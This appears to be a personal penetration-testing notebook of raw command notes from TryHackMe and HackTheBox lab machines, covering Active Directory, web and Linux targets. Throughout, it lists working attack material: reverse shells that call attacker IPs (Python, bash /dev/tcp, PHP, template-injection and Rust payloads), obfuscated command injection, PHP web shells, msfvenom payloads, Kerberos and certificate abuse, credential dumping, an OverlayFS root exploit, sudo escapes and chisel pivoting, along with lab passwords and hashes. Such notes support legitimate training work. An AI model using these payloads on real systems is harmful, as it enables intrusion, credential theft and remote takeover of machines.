run post/multi/recon/local_exploit_suggester

typing ‘session <session number>

getprivs

ps

load kiwi

creds_all

- In my machine type nc -lvnp 8005 to open a shell in port 8005
- Copy the and edit the IP and Port of the python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

- Type mongo to start the mongo DB
- Type show dbs to see our databases on the target. There are three of them, admin that is empty, local, and sudousersbak that looks interesting to me
- Type use sudousersbak to go to this database
- Type show collections to see the collections in the DB. There are three collection in there, the flag, the user, and the system.indexes
- Type db.flag.find() to see the flag
- Type db.user.find() to see the what’s in user collection. I found the password of the user stux here

Exiftool

- Download it by typing wget 10.2.63.225:8008/<filename.sh>. In this case, our script name is exp.sh, and we can see it after running the ls command.
- Then we give the file full permission by typing chmod 777 exp.sh to be executable by everyone.
- Run the script followed by your desired command, for example bash ./exp.sh ‘sudo su’

- Now, the script, created another file for us called delicate.jpg that if we run it as the root with the exiftool, we would get the root privilege
- sudo -u root /usr/local/bin/exiftool delicate.jpg.

```
import os
try:
os.system("/bin/bash")
except:
        pass
```

- We can print the current PATH by using echo $PATH
- Create the fake date that include the malisons code by using nano text editor
- By using the following code, we can get a shell for the hire privilege user:

```
import OS
bash -y
```

- Change the mode of the file to be executable by typing chmod +x date
- Change the PATH by typing export PATH=/home/rabbit:$PATH

```
impacket-GetNPUsers fusion.corp/ -usersfile user.txt -no-pass -dc-ip <IP>
evil-winrm /evil-winrm.rb -I <IP> -u lparker -p <password>
ldapdomaindump <IP> -u 'fusion.corp\lparker' -p 'password'
```

https://github.com/giuliano108/SeBackupPrivilege

```
copy-fileSeBackupPrivilege c:\Users\Administrator\Desktopflag.txt c:/Users\jmurphy\flag.txt
```

Devel

windows/remote/19033.txt

FTP

get - download from FTP server

put - upload from FTP server

compile

sudo apt-get install gcc-mingw-w64

i686-w64-mingw32-gcc-win32 input_code.c -lws2_32 -o output.exe

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

shell

In order to support BIOS service routines in legacy 16bit applications, the Windows NT Kernel supports the concept of BIOS calls in the Virtual-8086 mode monitor code. These are implemented in two stages, the kernel transitions to the second stage when the GP trap handler (nt!KiTrap0D) detects that the faulting cs:eip matches specific magic values

nmap

Nmap -sV(version) -sS(SYN) 909.12….

Metasploit

msfconsole(start)

search icecast(target)

`use icecast` or `use 0` (select this module)

show options

privilege

run post/multi/recon/local_exploit_suggester

getprivs

others

sessions || sessions 1/2/3 || set sessions 2/1/3

gobuster [mode] -u [target ip] -w [wordlist]

king of the hill

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.1.218 LPORT=1337 -f exe > shell.exe

Invoke-WebRequest -uri <URL> -outfile <filename>

python3 -m http.server 8008

user multi/handler

set payload windows/meterpreter/reverse_tcp

Active

smbclient -L //10.10.10.100 == -L to list smb shares

smbclient //10.10.10.100/Replication

smbclient //10.10.10.100/Users

| enume4linux <ip>|

smbmap -H 10.10.10.100 == -H hosts

smbclient //10.10.10.100/Replication -c 'recurse;ls' == list everything

./smbmap -R Replication -H 10.10.10.100 = list everything

\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\windows NT\SecEdit\>

Alternate: Download everything

recurse on

prompt off

|mls|

mget *

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ == dicrypt the group policy password

impacket-GetADUsers -all active.htb/SVC_TGS -dc-ip 10.10.10.100

sync time with Kerberos:

sudo apt install ntpdate

sudo ntpdate 10.10.10.100

impacket-GetUserSPNs -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request

Get admin access to machine:

impacket-psexec active.htb/Administrator@10.10.10.100

EAD

Alt+f2 > nm-connection-editor > IP Setting == DNS conf

sudo systemctl restart NetworkManager

cat /etc/resolv.conf

http://distributor.za.tryhackme.com/creds

kenneth.davies : Password1 > newPassword1

Username: kimberley.smith Password: Password!

jump host

Remmina ? You can use Remmina or any other similar Remote Desktop client to connect to this host for RDP sudo apt install remmina

ssh za.tryhackme.com\\<AD_Username>@thmjmp1.za.tryhackme.com

ssh za.tryhackme.com\\kimberley.smith@thmjmp1.za.tryhackme.com

What native Windows binary allows us to inject credentials legitimately into memory?

runas.exe /netonly /user:<domain>\<username> cmd.exe

runas.exe /netonly /user:za.tryhackme.com\kimberley.smith cmd.exe

SYSVOL = store GPOs and accessible by all AD users

dir \\za.tryhackme.com\SYSVOL\

Kerberos (FQDM, default) vs NTLM (IP)

net user /domain == list all domain users |cmd|

net user zoe.marshall /domain == list the info about single user

net group /domain == all

net group “Domain Users” /domain == single

net accounts /domain == password policy

powershell == “”

Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties * == everything in properties of the user

Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table

Get-ADGroup -Identity Administrators -Server za.tryhackme.com

Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com

$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00) == create the $ChangeDate variable

Get-ADObject == more generic search for any AD objects

Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.tryhackme.com == if we are looking for all AD objects that were changed after a specific date

Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com == show me the accounts that the badPwdCount is greater than 0 | password spraying

Get-ADDomain -Server za.tryhackme.com

Set-ADAccountPassword -Identity gordon.stevens -Server za.tryhackme.com -OldPassword (ConvertTo-SecureString -AsPlaintext "old" -force) -NewPassword (ConvertTo-SecureString -AsPlainText "new" -Force) == force changing the password of our AD user by using the Set-ADAccountPassword cmdlet | AD-RSAT cmdlets is that some even allow you to create new or alter existing AD objects

Enumeration through Bloodhound

Sharphound.exe --CollectionMethods <Methods> --Domain za.tryhackme.com –ExcludeDCs

SharpHound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs

CollectionMethods - Determines what kind of data Sharphound would collect. The most common options are Default or All. Also, since Sharphound caches information, once the first run has been completed, you can only use the Session collection method to retrieve new user sessions to speed up the process.

Domain - Here, we specify the domain we want to enumerate. In some instances, you may want to enumerate a parent or other domain that has trust with your existing domain. You can tell Sharphound which domain should be enumerated by altering this parameter.

ExcludeDCs -This will instruct Sharphound not to touch domain controllers, which reduces the likelihood that the Sharphound run will raise an alert.

copy C:\Tools\Sharphound.exe ~\Documents\

cd ~\Documents\

SharpHound.exe --CollectionMethods All --Domain za.tryhackme.com –ExcludeDCs

| ./sharphound.exe --CollectionMethods All --Domain za.tryhackme.com –ExcludeDCs |

Install Bloodhound

neo4j console == start the database that Bloodhound use

other terminal == bloodhound --no-sandbox

The default credentials for the neo4j database will be neo4j:neo4j

User: neo4j

Newpass: naqib

recover the ZIP file from the Windows host. The simplest way is to use SCP command on your AttackBox:

scp <AD Username>@THMJMP1.za.tryhackme.com:C:/Users/<AD Username>/Documents/<Sharphound ZIP> .

BAD

Alt+f2 > nm-connection-editor > IP Setting == DNS conf

x64{2B4FCD77-2F71-4737-BDD4-01E2786947BD}.bcd

10.200.4.202

x64{A7D42DD3-0543-4B9D-849A-77C76EA21F04}.bcd

x64{0D6F4540-AC60-4DB6-8E0C-52B3198A622F}.bcd

tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd

Powerpxe is a PowerShell script that automatically performs this type of attack

use the Get-WimFile function of powerpxe to recover the locations of the PXE Boot images from the BCD file

powershell -executionpolicy bypass Windows PowerShell

Import-Module .\PowerPXE.ps1

$BCDFile = "conf.bcd"

Get-WimFile -bcdFile $BCDFile

WIM files are bootable images in the Windows Imaging Format (WIM).

download this image:

tftp -i 10.200.4.202 GET " \Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim

|looking for the bootstrap.ini file, where these types of credentials are often stored|

use powerpxe to recover the credentials:

Get-FindCredentials -WimFile pxeboot.wim

What Microsoft tool is used to create and host PXE Boot images in organisations?

Microsoft Deployment Toolkit

Configuration file enumeration

- Web application config files
- Service configuration files
- Registry keys
- Centrally deployed applications

Several enumeration scripts, such as Seatbelt, can be used to automate this process.

Pass file: ma.db

Cd C:\ProgramData\McAfee\Agent\DB

Out machine

scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .

jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==

svcAV

za.tryhackme.com

path: epo$\

THMDC

support

Nmap

Smbclient / download |userinfo.exe|

Sudo apt install mono-complete == Install mono to open .exe in kali

We see ldap query >> Wireshark to see what is this >> find the ldap password

ldapsearch -D support\\ldap -H ldap://10.10.11.174 -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=Users,DC=support,DC=htb' | grep info == there is the support account password

cut -d "," -f 2 demo.cs

……

Upload the:

powerview.ps1 >> Import-Module .\”

powermad.ps1 >> “

Rubeus.exe >> .\ Rubeus.exe ……

Powremad:

New-MachineAccount -MachineAccount newm -Password $(ConvertTo-SecureString 'naqib123!' -AsPlainText -Force)

Powerview (retrieve the security identifier (SID) of the newly created computer account)

$ComputerSid = Get-DomainComputer newm -Properties objectsid | Select -Expand objectsid

We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Change the msDS-AllowedToActOnBehalfOfOtherIdentity with the created ACE ($SDBytes):

Get-DomainComputer DC.SUPPORT.HTB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} == see the information of DC.SUPPORT.HTB and change/set the msds-allowedtoactonbehalfofotheridentity value to be the

.\Rubeus.exe hash /password:naqib123! == create hash for the password (RC4_HMAC)

.\Rubeus.exe s4u /user:newm$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt == get a ticket when impersonating the administrator

……..

cat ticket.txt | base64 -d > btacket.txt == First remove the /n, spaces and (cybershef) …, then change the format to base64

impacket-ticketConverter btacket.txt testing.txt == convert ticket to ccache

export KRB5CCNAME=testing.txt

impacket-psexec support.htb/Administrator@dc.support.htb -dc-ip 10.10.11.174 -k -no-pass == |for connecting to machine on a subdomain |

cozyhosting

dirsearch -u cozyhosting.htb == to see all directories when other tools can’t find any directory

Create a bash reverse shell file == bash -i >& /dev/tcp/10.10.14.18/8008 0>&1

curl http://10.10.14.6:8000/shell.sh --output /tmp/shell.sh

chmod 777 /tmp/shell.sh

/tmp/shell.sh

$(IFS=_command;=’curl_http://10.10.14.6:8000/shell.sh_--output_/tmp/shell.sh’;$command)

echo "bash -i >& /dev/tcp/10.10.14.6/8008 0>&1" | base64 -w 0

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzgwMDggMD4mMQo=" | base64

;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzgwMDggMD4mMQo="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash; == put ; at the start and end, and use ${IFS%??} instead of each space

https://www.urlencoder.org/ == url encoder and decoder

%3Becho%24%7BIFS%25%3F%3F%7D%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC42LzgwMDggMD4mMQo%3D%22%24%7BIFS%25%3F%3F%7D%7C%24%7BIFS%25%3F%3F%7Dbase64%24%7BIFS%25%3F%3F%7D-d%24%7BIFS%25%3F%3F%7D%7C%24%7BIFS%25%3F%3F%7Dbash%3B

download the file in netcat nc:

nc -nlvp 9000 > cloudhosting-0.0.1.jar == in our machine

nc 10.10.14.6 9000 < cloudhosting-0.0.1.jar == in the victim machine

python -c 'import pty;pty.spawn("/bin/bash")' == python shell

psql -h 127.0.0.1 -U postgres

\list

\c cozyhosting == connect to cozyhosting database

\d == list tables

Hashcat –help | grep -I '$2'

Su josh

Sudo -l

User josh may run the following commands on localhost:

   (root) /usr/bin/ssh *

sudo ssh -o ProxyCommand='; bash 0<&2 1>&2' x

escape

./mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb == access to the mssql

select name from master..sysdatabases; == to see the database s in the mssql

EXEC xp_dirtree '\\10.10.14.6\share', 1, 1

EXEC master..xp_subdirs '\\10.10.110.17\share\' == then we run the responder to get the hash

sudo apt install responder

sudo responder -I tun0

hashcat .. .. -o

sudo apt update && sudo apt install -y bloodhound

upload Certify.exe

.\Certify.exe find /vulnerable /currentuser == to see the vulnerable hosts (we have the WriteOwner Principals)

.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator == request a certificate

copy the certificate and past it in the .pem file because the formate is/was pem

then convert it to .pfx

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

.\Rubeus.exe asktgt /user:administrator /certificate:C:\Users\Ryan.Cooper\Documents\cert.pfx == to get hash of the admin

.\Rubeus.exe asktgt /user:administrator /certificate:C:\Users\Ryan.Cooper\Documents\cert.pfx /getcredentials /show /nowrap == to see the hash of the admin

evil-winrm -H

.....

sqsh -S 10.10.11.202 -U PublicUser -P "GuestUserCantWrite1"

./mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb

The first thing I'll try is running commands through MSSQL server using the xp_cmdshell stored procedure. Unfortunately for me, it fails:

https://enterprise.hackthebox.com/academy-lab/4784/5017/modules/116/1169

curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up

sudo apt install responder

openssl s_client -showcerts -connect <ip or fqdn of your active directory server>:636 == to see if there is any CA and the certificate

.....

pip3 install certipy-ad

Metabase RCE exploitation and Ubuntu OverlayFS local privilege escalation

data.analytical.htb

https://github.com/securezeron/CVE-2023-38646

linpeas

env == shows the variables

cat /etc/os-release

CVE-2021-3493

Ubuntu OverlayFS Local Privesc

https://github.com/briskets/CVE-2021-3493

gcc exploit.c -o exploit == compiled it using GCC

Alternate:

to see if I get the uid that means the OS is vulnerable:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

To exploit:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("chmod u+s /bin/bash")'

/bin/bash -p

gobox

{{.}}

{{.DebugCmd "echo 'username:mm' | sudo chpasswd"}}

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.18/8008 0>&1'"); ?>

sudo apt install network-manager-l2tp

aws config

aws s3 cp sh.php s3://website/sh.php --endpoint-url=http://10.10.11.113:80

exports/top_players_6829ur6n.php

echo '<?php echo shell_exec($_REQUEST["cmd"]); ?>'|base64

<%3fphp+system($_GET['cmd'])+%3f>

GET /shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.18/8008+0>%261' HTTP/1.1

http://10.10.11.113/0xdf.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261'

script /dev/null -c bash

curl http://127.0.0.1:8000?ippsec.run[id]

curl http://127.0.0.1:8000?ippsec.run[cp%20%2fbin%2fbash%20%2ftmp] == cp /bin/bash /tmp

/tmp/bash -p

keeper

scp lnorgaard@keeper.htb:/home/lnorgaard/RT30000.zip /home/kali == download file from remote sever to my /home/klai

python3 poc.py -d KeePassDumpFull.dmp

rødgrød med fløde

puttygen keeper.txt -0 private-openssh -0 id_rsa

chmod 600 id_rsa

ssh root@10.10.11.227 -i id_rsa

3ww2pqn

zUx6kegkpPv18Jzj1quImPs0tSk09s0XpplTIuNSTpy7

gobuster dir -u https://ssa.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -k

gpg --gen-key

gpg --list-keys

gpg --armor --export test@test.com > public_key.asc

gpg --clear-sign --output signed.asc inp.txt

gpg --delete-secret-key mememe

gpg --delete-key me@me.com

{{7*7}}

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC84MDA4IDA+JjEK" | base64 -d | bash').read() }}

pspy

nano /opt/crates/logger/src/lib.rs

ctrl + 6

alt + /

ctrl + shift + k

https://stackoverflow.com/questions/48958814/what-is-the-rust-equivalent-of-a-reverse-shell-script-written-in-python

use std::net::TcpStream;

use std::os::unix::io::{AsRawFd, FromRawFd};

use std::process::{Command, Stdio};

pub fn log(user: &str, query: &str, justification: &str) {

```
    let sock = TcpStream::connect("10.10.14.10:8004").unwrap();
    let fd = sock.as_raw_fd();

    Command::new("/bin/bash").arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn().unwrap().wait().unwrap();
}
```

it shows the group id which is a vulnerability of firejail

firejail --join=96426 == join to this session or prosses

clicker

showmount -e 10.10.11.232 == to see the shares in the nfs

mount -t nfs 10.10.11.232:/mnt/backups /clicker/mnt == to mount shares

GET /save_game.php?role%0a=Admin HTTP/1.1

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm

ctrl + z

stty raw -echo; fg

find / -perm -4000 2>/dev/null

/usr/bin/xml_pp

sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh

bash -p

sau

python3 exploit.py 10.10.14.18 8008 http://10.10.11.224:55555/me

type !sh in less to get a shell

pilgrimage

feroxbuster -u http://pilgrimage.htb -k

pip install git-dumper

git-dumper http://pilgrimage.htb/.git/ git

ImageMagick 7.1.0–49 was susceptible to Information Disclosure

python3 generate.py -f "/etc/passwd" -o exploit.png == work like cat command, upload the result to the website

then download the image, and convert it:

wget http://pilgrimage.htb/shrunk/654a82bcf35de.png

convert 654a7a2ba312c.png result.png

decode the hex online or useing:

python3 -c 'print(bytes.fromhex("hex_code_here").decode("utf-8"))'

use the identify commond to see the requested inforation in hexadecimal:

identify -verbose result.png

ps -aux

python3 walkingpath.py reverse input.png 10.10.14.18 8008

Pivot and chisel

./chisel server -p 8001 --reverse == attacker machine

./chisel client 10.10.101.51:8001 R:1080:socks == pivot machine

modify /etc/proxychains.conf and add socks5 127.0.0.1 1080

proxychains4 nmap 172.16.1.1/24

Run command on Web Server machine (172.16.1.101)

./chisel server -p 8002 --reverse

Then on the domain controller (172.16.1.5):

chisel.exe client 172.16.1.101:8002 R:2080:socks

proxychains:

socks5 127.0.0.1 1080

socks5 127.0.0.1 2080

Run command on Office Domain Controller machine (172.16.1.5)

chisel.exe server -p 8003 --reverse

chisel.exe client 172.16.1.5:8003 R:3080:socks

proxychains:

socks5 127.0.0.1 1080

socks5 127.0.0.1 2080

socks5 127.0.0.1 3080

Ping:

for i in $(seq 254); do ping 10.1.2.${i} -c1 -w1 & done | grep from == see ip addresses on the 10.1.2.0/24 subnet

scp:

scp nmap pivot@10.1.1.10 == upload the nmap to the pivot box

on the pivot:

./nmap -Pn 10.10.2.6

chisel server --socks5 --resvers == attacker

./chisel client --fingerprint hsdlhfldhlfshdlf= 172.19.254.6:8080 R:8000:10.1.2.5:80 == we connect to 172.19.254.6:8080, and prot 80 of 10.1.2.5 is going to open on the port 8000 of localhost (172.19.254.6)

./chisel client --fingerprint hsdlhfldhlfshdlf= 172.19.254.6:8080 R:socks == access all IPs and Ports on the same subnet

proxychains xfreerdp /v:10.1.2.6 /u:Administrator

./chisel client --fingerprint hsdlhfldhlfshdlf= 172.19.254.6:8080 0.0.0.0:9999:172.19.254.6:9999 == any communacation on port 9999 of pivot machine should be forwarded to port 9999 of 172.19.254.6

./hoaxshell.py -s 10.1.2.4 -p 9999 == ip of pivot box, because we basicly send a reverse shell from windows machine to pivot machine, then the pivot machine forward it to us

zipping

ln -s /etc/passwd etc.pdf

zip --symlink -r etc.zip etc.pdf

curl http://10.10.11.229/uploads/4b816866db9b94e2e66c2e69762017b8/etc.pdf

nmap

sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d" " -f5

-sn Disables port scanning.

-oA tnet Save the output in three formats: normal, XML, and grepable, with the base filename "tnet".

sudo nmap -sn -oA tnet -iL hosts.lst | grep for | cut -d" " -f5

-iL against targets in 'hosts.lst'

sudo nmap -sn -oA tnet 10.129.2.18 10.129.2.19 10.129.2.20| grep for | cut -d" " -f5

10.129.2.18-20

sudo nmap 172.21.0.189 -sn -oA host -PE --packet-trace

--packet-trace Shows all packets sent and received

why Nmap has our target marked as "alive" is with the "--reason" option.

--reason Displays the reason for specific result.

-PE Performs the ping scan by using 'ICMP Echo requests' against the target.

--packet-trace Shows all packets sent and received

-PE --packet-trace --disable-arp-ping

We can define the ports one by one (-p 22,25,80,139,445), by range (-p 22-445), by top ports (--top-ports=10) from the Nmap database that have been signed as most frequent, by scanning all ports (-p-) but also by defining a fast port scan, which contains top 100 ports (-F).

-n Disables DNS resolution.

we disable the ICMP echo requests (-Pn)

sudo nmap 10.129.2.28 -p 443 --packet-trace --disable-arp-ping -Pn -n --reason -sT

-sU Performs a UDP scan.

xsltproc target.xml -o target.html

Normal output (-oN) with the .nmap file extension

Grepable output (-oG) with the .gnmap file extension

XML output (-oX) with the .xml file extension

to see the result quicly:

-v/-vv shows the result imidiatly when find any

--stats-every=5s Shows the progress of the scan every 5 seconds.

we can press the [Space Bar] during the scan, which will cause Nmap to show us the scan status.

sudo nmap 10.129.2.28 -p 25 --script banner,smtp-commands

-A Performs service detection, OS detection, traceroute and uses defaults scripts to scan the target.

sudo nmap 10.129.2.28 -p 80 -sV --script vuln

--script vuln Uses all related scripts from specified category.

--initial-rtt-timeout 50ms Sets the specified time value as initial RTT timeout.

--max-rtt-timeout 100ms Sets the specified time value as maximum RTT timeout.

--max-retries 0 Sets the number of retries that will be performed during the scan.

sudo nmap 10.129.2.0/24 -F -oN tnet.minrate300 --min-rate 300

--min-rate 300 Sets the minimum number of packets to be sent per second.

cat tnet.minrate300 | grep "/tcp" | wc -l

Nmap's TCP ACK scan (-sA) method is much harder to filter for firewalls and IDS/IPS systems

-D RND:5 Generates five random IP addresses that indicates the source IP the connection comes from.

sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0

-S Scans the target by using different source IP address.

-e tun0 Sends all requests through the specified interface.

sudo nmap 10.129.2.48 -p- -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53

--source-port 53 Performs the scans from specified source port.

ncat -nv --source-port 53 10.129.2.28 80

sudo nmap -p 53 -A -T5 --script discovery 10.129.2.48 == see the info about dns port

ssh -R <pivot_host_internal_ip>:<pivot_host_port>:0.0.0.0:<local_port> <target> -v -N

ssh -D 9090 us@targ